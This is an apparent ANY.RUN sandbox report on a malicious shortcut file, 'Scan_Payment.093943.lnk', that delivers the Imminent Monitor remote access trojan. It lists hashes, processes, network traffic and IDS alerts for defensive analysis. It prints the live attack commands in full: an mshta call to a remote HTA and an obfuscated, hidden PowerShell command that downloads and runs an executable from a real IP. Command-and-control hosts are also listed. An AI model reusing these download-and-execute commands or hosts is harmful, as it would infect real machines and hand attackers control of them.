analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Scan_Payment.093943.lnk

Full analysis: https://app.any.run/tasks/86166521-6fbc-4aec-84a6-c137b0b05b5b
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: January 18, 2019, 08:36:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
rat
imminent
trojan
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=202, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
MD5:

CF4064BDA6B72DFB173872E68ECAABA8

SHA1:

34B38C168C9BE4F82D31966047BBBD3A6AB21A46

SHA256:

59D2882C4E2380F4E06A5DED77F70C81D55FA209A0239A2EF851B938634B424A

SSDEEP:

12:85Tm/3BVSXzzeMDdqW+feDCBdRy1M03+UcIl1lDmIfcI6iNL4t2YhT79PK8:85C/B4t+feSC3+/E4I0a581

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • LsHVnEAZ.exe (PID: 3060)

    • Executes PowerShell scripts

      • mshta.exe (PID: 3332)

    • Detected Imminent RAT

      • RegAsm.exe (PID: 2592)

    • Connects to CnC server

      • RegAsm.exe (PID: 2592)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3192)
      • RegAsm.exe (PID: 2592)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3192)

    • Connects to unusual port

      • RegAsm.exe (PID: 2592)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 3332)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: 202
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: mshta.exe
Description: gYPOKyEbC
RelativePath: ..\..\..\..\..\..\Windows\system32\mshta.exe
WorkingDirectory: %SYSTEMROOT%\System32
CommandLineArguments: http://185.205.210.205/ftp000/z.hta
IconFileName: C:\Windows\System32\imageres.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start mshta.exe powershell.exe lshvneaz.exe no specs #IMMINENT regasm.exe wmiapsrv.exe no specs wmiapsrv.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3332"C:\Windows\system32\mshta.exe" http://185.205.210.205/ftp000/z.htaC:\Windows\system32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3192"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -WindowStyle hidden -nologo $kMfLnTnVDLqQpks = [System.Environment]::OSVersion.Version | Select -Expand Major;$AMrxOauF = [System.Environment]::OSVersion.Version | Select -Expand Minor;$NaEuVr = "$kMfLnTnVDLqQpks" + '.' + "$AMrxOauF";$jlIcle = $PSVersionTable.PSVersion.Major;if($jlIcle -eq 2){$LHoxM = Get-Random -Minimum 5 -Maximum 10;$KRTwQ = -join ((65..90) + (97..122) | Get-Random -Count $LHoxM | % {[char]$_});$QFMrCfDmTOEORr = $KRTwQ + '.exe';$JcfADGBaVeU = "$env:APPDATA" + '\' + "$QFMrCfDmTOEORr";;;;;$BlHXuHlrmpvFMz = 'http://185.205.210.205/ftp000/im_Protected.exe';$xEhCbJucFZxZm = New-Object System.Net.WebClient;$mxrBcSEhtqbe = $xEhCbJucFZxZm.DownloadFile($BlHXuHlrmpvFMz, $JcfADGBaVeU)}elseif($jlIcle -ge 3){$LHoxM = Get-Random -Minimum 5 -Maximum 10;$KRTwQ = -join ((65..90) + (97..122) | Get-Random -Count $LHoxM | % {[char]$_});$QFMrCfDmTOEORr = $KRTwQ + '.exe';$JcfADGBaVeU = "$env:APPDATA" + '\' + "$QFMrCfDmTOEORr";;;;;$BlHXuHlrmpvFMz = 'http://185.205.210.205/ftp000/im_Protected.exe';Invoke-WebRequest -Uri $BlHXuHlrmpvFMz -OutFile $JcfADGBaVeU};Start-Process $JcfADGBaVeU;;""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3060"C:\Users\admin\AppData\Roaming\LsHVnEAZ.exe" C:\Users\admin\AppData\Roaming\LsHVnEAZ.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2592"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
LsHVnEAZ.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
2.0.50727.5420 (Win7SP1.050727-5400)
3140C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Performance Reverse Adapter
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3792C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Performance Reverse Adapter
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
764
Read events
663
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
11
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0KZO0IIKGXLPPWV0N71W.temp —
MD5:—
SHA256:—
2592RegAsm.exeC:\Users\admin\AppData\Roaming\Imminent\Monitoring\network.datbinary
MD5:E19E5EF21BE8CD71868AD4C4C63938F0
SHA256:64FE0AF1F017EA2D33190D43512131ABC1A95AC63BD4DFADE573E9B40840AF49
3332mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\z[1].htahtml
MD5:3F477BB7416B4F6F978C99AD68177623
SHA256:4CC901854555FE4EA50C85C97863564E5C8E1046FF0905B14CED17845E04E60C
3192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19868b.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2592RegAsm.exeC:\Users\admin\AppData\Roaming\Imminent\Monitoring\system.datbinary
MD5:7DCF757420393B8DE4E229443535B3DD
SHA256:96E0DC6DEA712714225987C50691D7D5FF71575C56B6FC34EF6F68D25E691B34
3192powershell.exeC:\Users\admin\AppData\Roaming\LsHVnEAZ.exeexecutable
MD5:26A436B8D13EEF4773AB72814FFC4448
SHA256:37CF0B38D6A86A5F78B6E48B203E9C3542BEC075983F713BA1F003E9D6ED1383
3192powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2592RegAsm.exeC:\Users\admin\AppData\Roaming\Imminent\Geo.datbinary
MD5:6BE56E0A48DF0D604FC9FC4B8F24A60E
SHA256:E0477DAC2351B3E3D95FF335F9B6321A9C680403FAA5D9E6AC33B9574B3A936F
2592RegAsm.exeC:\Users\admin\AppData\Roaming\Imminent\Logs\18-01-2019text
MD5:33BE604F8044D5984E8E3E3B694D710A
SHA256:3F785F1CC535B0987139623200C7910B2B28F92DFE3309E8E071C091D0CE7313
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
9
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3192
powershell.exe
GET
—
185.205.210.205:80
http://185.205.210.205/ftp000/im_Protected.exe
BG
—
—
malicious
3332
mshta.exe
GET
200
185.205.210.205:80
http://185.205.210.205/ftp000/z.hta
BG
html
3.57 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3192
powershell.exe
185.205.210.205:80
—
BelCloud Hosting Corporation
BG
malicious
3332
mshta.exe
185.205.210.205:80
—
BelCloud Hosting Corporation
BG
malicious
2592
RegAsm.exe
23.81.246.2:9003
—
Nobis Technology Group, LLC
US
malicious
2592
RegAsm.exe
198.54.125.203:443
glowcryptos.com
Namecheap, Inc.
US
malicious
2592
RegAsm.exe
45.55.57.244:443
www.iptrackeronline.com
Digital Ocean, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
www.iptrackeronline.com
  • 45.55.57.244
shared
glowcryptos.com
  • 198.54.125.203
malicious

Threats

PID
Process
Class
Message
3332
mshta.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious HTA application download
3332
mshta.exe
Potentially Bad Traffic
ET POLICY Possible HTA Application Download
3332
mshta.exe
Attempted User Privilege Gain
ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
3332
mshta.exe
Attempted User Privilege Gain
ET WEB_CLIENT HTA File containing Wscript.Shell Call - Potential CVE-2017-0199
3332
mshta.exe
A Network Trojan was detected
ET CURRENT_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in CVE-2017-0199)
3192
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3192
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3192
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3192
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2592
RegAsm.exe
A Network Trojan was detected
MALWARE [PTsecurity] Imminent Monitor RAT (outbound)
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Scan_Payment.093943.lnk